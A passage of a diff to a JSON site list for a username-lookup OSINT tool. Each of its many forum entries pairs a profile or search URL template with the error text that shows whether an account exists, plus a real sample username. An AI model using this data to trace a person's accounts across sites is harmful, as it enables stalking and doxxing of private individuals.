"etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "NotFound", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "comments": "ERR_TE", + "bad_site": 1 + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": 1, + "comments": "vzlom", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "re not a", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "comments": "vzlom", + "bad_site": 1 + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukbusiness": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ukbusinessforums.co.uk/members/?username={}", + "urlMain": "https://www.ukbusinessforums.co.uk", + "usernameON": "fisicx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "title>Slides: 404Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": 